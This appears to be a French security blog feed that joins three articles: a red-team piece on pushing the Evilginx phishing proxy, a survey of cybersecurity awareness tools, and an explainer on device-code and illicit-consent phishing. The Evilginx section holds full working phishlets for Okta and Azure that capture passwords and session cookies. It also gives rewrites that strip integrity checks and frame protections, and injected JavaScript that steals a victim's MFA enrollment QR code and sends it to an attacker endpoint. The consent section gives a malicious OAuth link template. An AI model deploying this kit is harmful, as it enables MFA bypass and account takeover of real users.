Habituellement, les threat actors tentent d’envoyer des documents malveillants tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d’Office lié aux macros et la sensibilisation accrue au phishing, ces types de techniques sont de moins en moins utilisés.

Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à récupérer l’identité numérique de l’utilisateur : son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.

Pour limiter ce type d’attaques, les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA), afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.

Phishing 101

IDP, cookies et phishing

La protection MFA mise en place par les entreprises est un bon moyen de limiter l’impact d’un phishing réussi. En effet, même si l’acteur de la menace récupère les informations d’identification de l’utilisateur, il ne sera pas en mesure d’usurper l’identité de l’utilisateur puisqu’il ne pourra pas valider le MFA.

Cependant, aujourd’hui, le MFA n’est généralement demandé que lors de la première authentification : une fois que l’utilisateur est authentifié auprès du fournisseur d’identité, celui-ci lui fournit une preuve d’authentification qu’il peut transmettre à n’importe quel service. Grâce à cette preuve d’authentification, l’utilisateur n’a pas besoin d’une authentification active supplémentaire et n’a donc pas besoin de revalider le MFA tant que ce ticket est valide.

Dans les IDP web les plus courants comme Azure, Google ou Okta, ce ticket est représenté par les cookies. Lorsque l’utilisateur se connecte à l’IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l’utilisateur peut se connecter à n’importe quel autre service web compatible SSO sans authentification.

En résumé, les cookies IDP de l’utilisateur représentent l’identité numérique de l’utilisateur. Par conséquent, dans une attaque de phishing dont l’objectif principal est d’usurper cette identité numérique de l’utilisateur, l’attaquant tentera de voler les cookies une fois que l’utilisateur aura réussi son authentification.

Evilginx

Evil proxy

Pour voler les cookies, l’attaquant doit être placé dans une position man-in-the-middle au cours du processus d’authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, l’utilisateur aura conscience qu’il se passe quelque chose d’anormal.

C’est là qu’Evilginx entre en jeu. Au lieu d’effectuer une simple attaque de type « man-in-the-middle » en relayant le paquet vers l’IDP, Evilginx crée un proxy malveillant : l’utilisateur ne s’authentifie pas sur accounts.google.com, mais il s’authentifie sur login.evilginx.com :

Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.

Phislets 101

Par exemple, lors de l’authentification à Azure, les domaines suivants sont utilisés :

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

Le problème est que pendant le processus d’authentification, l’IDP redirige l’utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d’un processus d’authentification SAML classique, l’IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l’utilisateur a commencé son processus d’authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d’authentification, ce qui rompt la position de l’homme du milieu.

Evilginx utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l’IDP renvoie une réponse telle que :

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec le phishlet, Evilginx saura que le domaine login.microsoftonline.com doit être réécrit et renverra à la cible la page modifiée suivante :

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec un tel modèle de correspondance et de remplacement, Evilginx est capable de maintenir l’utilisateur dans l’application malveillante même si l’IDP tente de rediriger l’utilisateur vers une page spécifique.

Limites du remplacement automatique

Le remplacement automatique des phishlets Evilginx a ses limites. En effet, il arrive que le serveur n’indique pas directement le domaine en dur dans la page, mais qu’il le construise par le biais d’un script JS.

Dans ce cas, Evilginx n’est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.

CORS

Dans Okta, le flux d’authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script construit dynamiquement l’URL de redirection : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d’atteindre la page spécifique en utilisant le domaine okta.com, il échoue en raison de la protection CORS (tentative d’atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :

En déboguant l’application, il est possible de trouver l’endroit où la construction de l’URL est effectuée et de la modifier en remplaçant le motif correspondant :

Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

Avec cette simple indication, Evilginx remplacera tout motif correspondant, évitant ainsi la redirection de l’utilisateur en dehors de l’application de phishing.

Intégrité du JS

Lorsque l’on modifie le fichier JS ou tout autre fichier via Evilginx, cela peut causer des problèmes en raison du hash d’intégrité du script :

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l’application refusera de le charger.

Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d’intégrité :

Replace: integrity="[^"]*"
By: integrity=''

Validation de l’URI de redirection

Le dernier point est la validation de l’URI de redirection. En effet, lors de l’authentification OIDC, le client sera redirigé vers une page dont l’URL est du type :

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.

Cela déclenchera le processus de validation de l’uri de redirection. Le domaine evilginx.com n’ayant pas été configuré du côté d’Okta comme un domaine de redirection valide, Okta affichera l’erreur suivante :

L’URI de redirection est construit dynamiquement par Okta en prenant le domaine de connexion et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l’URL et en s’assurant que l’URI de rappel est celui attendu par Okta :

En utilisant Evilginx, il est possible d’utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri à la bonne URI :

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Phishlets basiques

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automatiser les actions critiques

Ajouter un nouvel appareil au MFA

Une fois qu’un attaquant est en mesure de récupérer un accès initial à la session de l’utilisateur, il doit mettre en place une persistance de l’accès car les cookies ont une durée de validité limitée.

Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l’utilisateur.

Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi, tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant.

En revanche, sur certaines plateformes d’identification comme Okta, l’enregistrement d’un MFA exige une validation MFA préalable. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.

Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :

1. L’utilisateur s’authentifie une première fois pour accéder à sa session
2. Evilginx vole les cookies de session
3. Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan
4. L’utilisateur revalide son MFA, pensant que la première tentative a échoué
5. Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil

Toutes ces actions peuvent être automatisées via Evilginx en modifiant les scripts JS.

Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

Ce script sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans une boucle de redirection infinie à la fin de son authentification.

Ensuite, un nouveau code JS est ajouté à la page /help/login. Ce script permet d’énumérer les technologies MFA disponibles et configurées :

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

Le script sélectionne la méthode d’authentification “Okta Verify” et redirige l’utilisateur vers la page de configuration.

Sur cette page de configuration, un nouveau script JS est injecté. Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA :

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })

            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Une fois que l’utilisateur a validé l’authentification MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.

L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.

Aller plus loin

Okta avec l’authentification Azure

Certaines entreprises associent deux fournisseurs d’identité (IdP) : Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.

Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.

Pour ce faire, les deux phislets précédents doivent être fusionnés afin de capturer les deux processus d’authentification. L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.

Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer

De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.

En résumé, dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.

Frame buster

De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.

L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.

Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:

Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées framebusters.

Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.

Self == top

La technique de framebuster la plus simple consiste à vérifier si la frame actuelle est la frame principale (top frame), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.

Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (match & replace) :

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

Cette modification permet de faire passer l’iframe pour la frame principale (top frame), contournant ainsi la protection.

Target=”_top”

La technique suivante consiste à forcer la soumission du formulaire à rediriger la top frame. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.

Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de framebusting, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.

Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la top frame. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.

Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

La dernière technique de framebusting repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.

Il est possible de supprimer cet en-tête à l’aide d’Evilginx :

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :

• Récupérer les identifiants Azure
• Récupérer les cookies de session Azure
• Récupérer les cookies Okta
• Récupérer le QR Code d’enrôlement MFA pour Okta

Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure

L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (Adversary-in-the-Middle, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).

Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les framebusters et garantir un accès persistant à la session utilisateur.

La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.

Cet article Phishing : Evilginx poussé à ses limites est apparu en premier sur RiskInsight.

Cependant, bien que les entreprises reconnaissent l’importance des contenus de sensibilisation, très peu réussissent à déployer efficacement des solutions adaptées à leurs spécificités. En effet, si la sensibilisation constitue une priorité, choisir l’outil le mieux adapté reste un défi. Les entreprises font face à une offre variée, allant de formations en ligne standardisées à des outils interactifs et personnalisés.

Un radar de +100 solutions de sensibilisation à la cybersécurité

Dans un environnement où la sensibilisation à la cybersécurité devient une priorité, le radar des solutions de sensibilisation se révèle être un allié stratégique pour les entreprises. Cet outil offre une vision claire et structurée des solutions disponibles, aidant les organisations à identifier les solutions les plus adaptées à leurs besoins.

Un outil d’aide à la décision

Le radar permet de prendre du recul sur l’ensemble des options disponibles et de mesurer l’ampleur du choix. Grâce au radar, les entreprises peuvent repérer rapidement certaines solutions performantes et innovantes, tout en distinguant des incontournables. Pour cela, les solutions ont été regroupées en 7 catégories :

1. Evaluation de la maturité : Solutions proposant un véritable outil d’évaluation de la maturité cybersécurité, des risques humains allant au-delà de rapports ou questionnaires
2. E-learning : Solutions offrant des modules d’apprentissage structurés variés
3. Sensibilisations techniques : Solutions proposant des contenus spécifiquement conçus pour les populations techniques (équipes cyber, IT, développeurs, etc.)
4. IA : Solutions se reposant sur un outil basé sur l’intelligence artificielle
5. Chatbot : Solutions intégrant un agent conversationnel interactif
6. Phishing : Solutions spécialisées dans la simulation d’attaques de phishing, à distinguer des modules e-learning abordant le sujet
7. Jeux : Solutions spécialisées dans la gamification et proposant des activités ludiques de sensibilisation à la cybersécurité

Ce radar a pour vocation de proposer une vision condensée de notre benchmark et ne constitue aucunement un classement. Il s’agit d’une sélection réfléchie, fondée sur plusieurs critères, entre autres :  la taille de l’entreprise, sa présence sur le marché (français principalement), et notre évaluation experte. Nous avons souhaité limiter le nombre de solutions représentées pour garantir une lecture claire et stratégique.

La sélection privilégie les solutions françaises, toujours en cohérence avec notre base client, tout en intégrant quelques acteurs internationaux pertinents. Par ailleurs, seules les solutions dont l’activité de conseil ne représente pas le cœur de leur offre ont été retenues, afin de garantir une approche orientée produit.

Un benchmark pour une solution adaptée

Ce radar repose sur un benchmark de plus de +100 solutions disponibles sur le marché. Il offre ainsi un panorama complet de l’écosystème des solutions de sensibilisation.

Le benchmark est conçu pour guider votre choix vers la solution la plus adéquate. Les entreprises peuvent y rentrer leurs critères pour obtenir une liste réduite d’options : types de contenus (phishing, mots de passe, ingénierie sociale, etc.), types de formats (vidéos, quizz, chatbot, e-learning, etc.), disponibilité et modularité de la solution, publics visés, prix, langues, etc. Cela permet d’éviter un choix arbitraire et d’opter pour une solution véritablement alignée avec les enjeux et les objectifs de sensibilisation.

Ainsi, sans chercher à être exhaustif, le radar propose ainsi un large éventail d’options pour répondre au mieux aux besoins de votre organisation.

Les critères d’intégration au benchmark

Le processus d’intégration au benchmark d’une solution a pour volonté d’être simple. Une fois une solution identifiée, celle-ci est analysée et triée selon des critères précis auxquels s’ajoutent les retours de nos consultants Wavestone. En complément de cela, des rencontres avec les équipes des éditeurs de solution nous permettent d’affiner notre analyse avec des démonstrations et collecte d’informations complémentaires.

Ainsi, une solution avec une interface claire et intuitive, proposant des transcriptions en plusieurs langues, couvrant une large gamme de sujets (phishing, cloud, chatbot, etc.) de manière innovante, sera particulièrement intéressante. Si elle reçoit en plus de cela des retours positifs de nos consultants, elle aura de fortes chances d’être intégrée au radar.

Le benchmark et son radar s’accompagnent également de fiches détaillées pour certaines solutions. Grâce à notre expertise et nos convictions en sensibilisation, les solutions jugées comme plus pertinentes ont des fiches détaillées qui incluent un aperçu plus précis de l’interface, un avis de nos experts sur la solution, et sont alimentées par des rencontres avec les éditeurs. Ces fiches permettent non seulement de choisir l’outil le plus adapté, mais aussi de découvrir des alternatives souvent plus performantes, bien que moins connues.

Processus d’intégration d’une solution au benchmark et radar

Notes

Veuillez noter que le radar est une vision réduite du benchmark associé. Si vous remarquez qu’un acteur de la sensibilisation cyber que vous connaissez est absent de ce radar, contactez-nous pour que nous puissions l’évaluer et l’ajouter.

Nous remercions Guillaume MASSEBOEUF pour son aide dans la création de ce radar.

Cet article Radar des solutions de sensibilisation à la cybersécurité 2025 : comment trouver la solution adaptée à mes besoins ? est apparu en premier sur RiskInsight.

Les attaques par hameçonnage (phishing) sont connues de tous. L’objectif de ce type d’attaque est de réaliser des actions depuis le compte d’une victime ou de récupérer des informations sur la personne ou l’entreprise ciblée.

Malgré leur notoriété, elles restent très efficaces pour les attaquants. En effet, parmi les attaques investiguées par le CERT Wavestone, environ 51% d’entre elles commencent par l’utilisation de comptes valides, ce qui inclut les attaques par hameçonnage (phishing).

Face aux attaques par l’hameçonnage, nous sommes tous vulnérables ! Un attaquant disposant de suffisamment de ressources et d’informations sur sa cible peut générer un piège assez élaboré pour faire baisser la garde du destinataire. De même, les suites de produits Office365 et Azure disposent de fonctionnalités pouvant être exploitées dans le cadre d’attaques moins conventionnelles et dont les impacts peuvent être méconnus des utilisateurs.

La sensibilisation des employées, bien que nécessaire pour faire face aux menaces les plus répandues, ne suffit pas face à certains types d’attaques plus ciblées ou moins traditionnelles. Un durcissement des conditions d’accès aux ressources hébergées sur le cloud, une bonne hygiène dans la gestion des droits d’accès ainsi que la détection d’accès inhabituels et suspicieux sont primordiales dans la stratégie de défense des entreprises.

Les attaquants disposent d’une large gamme d’outils et de possibilités pour accéder aux documents stockés sur le SharePoint d’une entreprise, tenter de récupérer des emails sensibles ou récupérer des informations sur les employés. L’attaque par hameçonnage traditionnelle ainsi que par l’authentification « device code » seront brièvement expliquées ci-dessous avant d’examiner plus en détails les attaques par consentement illicite.

L’attaque de phishing traditionnelle : une menace connue et évitable via l’usage d’authentification multi facteur

Les attaques de phishing traditionnelles reposent généralement sur l’envoi d’un lien dirigeant les victimes ciblées vers un site qu’il contrôle. Grace à une mire d’authentification similaire à celles auxquelles sont habituées les employées de l’entreprise ciblée, l’attaquant récupère les identifiants et mots de passe des utilisateurs piégés.

L’attaque par hameçonnage traditionnelle est simple à mettre en œuvre en l’absence d’authentification multi-facteur

La simplicité de mise en œuvre à grande échelle d’une telle attaque en fait un outil de choix pour les attaques non ciblées. Une méthode pour se prémunir contre ce type d’attaque est d’imposer l’utilisation d’un second facteur d’authentification.

Il est à noter cependant que bien que plus complexe à mettre en œuvre, l’interception du second facteur d’authentification est techniquement réalisable et fera l’objet d’un article dédié.

L’attaque via l’authentification « device code » : une méthode méconnue d’authentification détournée par des attaquants

Cette attaque repose sur la fonctionnalité d’octroi d’autorisation d’appareil (device authorization grant)[1]. Cette méthode d’authentification permet d’authentifier un utilisateur sur un appareil ne disposant pas de navigateur web. Un code s’affichant sur cet appareil doit alors être renseigné sur un ordinateur ou un smartphone via le site de Microsoft dédié. Cet appareil disposera ensuite d’une partie des droits d’accès aux ressources Office 365 que l’utilisateur ayant renseigné le code.

Cette procédure peu connue des utilisateurs, peut être exploitée par un attaquant à des fins malveillantes :

• L’attaquant génère tout d’abord un code d’appareil, en utilisant le même processus utilisé par les appareils ne disposant pas de navigateur web.
• Ensuite, l’objectif de l’attaquant sera d’amener la victime à renseigner son code d’appareil sur la page https://microsoft.com/devicelogin. Par exemple, l’attaquant pourrait prétexter que pour accéder à un document sensible, il est nécessaire de se connecter à ce lien en utilisant le code qu’il a généré.
• Si la cible accède au lien, renseigne le code et s’authentifie, cela permettra à l’attaquant d’usurper l’identité de la victime.

Exemple d’attaque par hameçonnage par device code

Cette attaque est plus difficile à réaliser pour un attaquant en raison de la faible durée de vie des « device codes » : ces derniers sont uniquement valables pendant une durée de 15min et doivent donc être générés peu de temps avant que l’utilisateur ne le renseigne. Cette attaque est donc plus facilement réalisable dans le cadre d’attaques par « phoning » ou de phishing via Teams. Par exemple, l’attaquant pourrait appeler la victime, prétexter faire partie de l’équipe du support IT de l’entreprise pour demander à l’utilisateur de s’authentifier sur le lien indiqué et de renseigner le code de son choix.

Pour se prémunir contre ce type d’attaque, les politiques d’accès conditionnel sur Azure permettent notamment d’interdire les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise.

L’attaque par consentement illicite

En plus de ces deux méthodes, l’attaque par consentement illicite permet aussi à un attaquant de récupérer un accès à un environnement Azure de manière illégitime. Cette dernière était même initialement plus simple à mettre en œuvre pour un attaquant que les attaques via l’authentification « device code ». Face à la recrudescence de cette menace, des actions ont été menées en 2020 par Microsoft pour limiter les conditions de réalisation de l’attaque. Si des configurations durcies d’Azure permettent de totalement bloquer cette menace, les configurations implémentées par certaines entreprises les exposent à ce type d’attaque. Quels sont les prérequis pour la réalisation d’une telle attaque, quelles sont les conséquences possibles et comment s’en prémunir ?

Qu’est-ce qu’une attaque par consentement illicite ?

Pour comprendre le principe de cette attaque, mettons-nous dans la peau d’un employé victime d’une telle attaque :

• La victime reçoit un mail d’hameçonnage indiquant une action urgente à réaliser pour maintenir son compte Microsoft activé. Les employés sont sensibilisés à ne pas cliquer sur des liens de phishing et à ne pas entrer leur mot de passe sur des plateformes inconnues. Le lien sous le format https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<CLIENT_ID>&redirect_uri=<Attacker_controled_URL>&response_type=code&response_mode=query&scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read contient un domaine associé à Microsoft, ce qui rassure la victime.
• En cliquant sur le lien, la victime doit s’authentifier. Cette authentification est souvent automatique puisqu’elle bénéficie de l’authentification unique (SSO) de Microsoft. La victime reçoit alors une demande de délégation de permissions:

L’application malveillante demande à l’utilisateur de lui déléguer ses permissions

• Si la victime clique sur « Annuler » par prudence, elle est redirigée vers le serveur de l’attaquant avec une URL du type <Attacker_controled_URL>/?error=consent_required &error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#. L’attaquant, comprenant que la victime n’a pas accepté la délégation de permissions, peut ensuite rediriger la victime sur la page de phishing, lui donnant l’impression que les permissions demandées doivent être acceptées pour passer à l’étape suivante.
• En raison du nom de domaine légitime et la vue de l’urgence indiquée dans le mail d’hameçonnage, la victime de l’attaque choisit d’accepter. Elle observe alors un message indiquant que son compte sera bien maintenu activé, comme suggéré dans le mail initial. Elle reprend donc une activité normale.

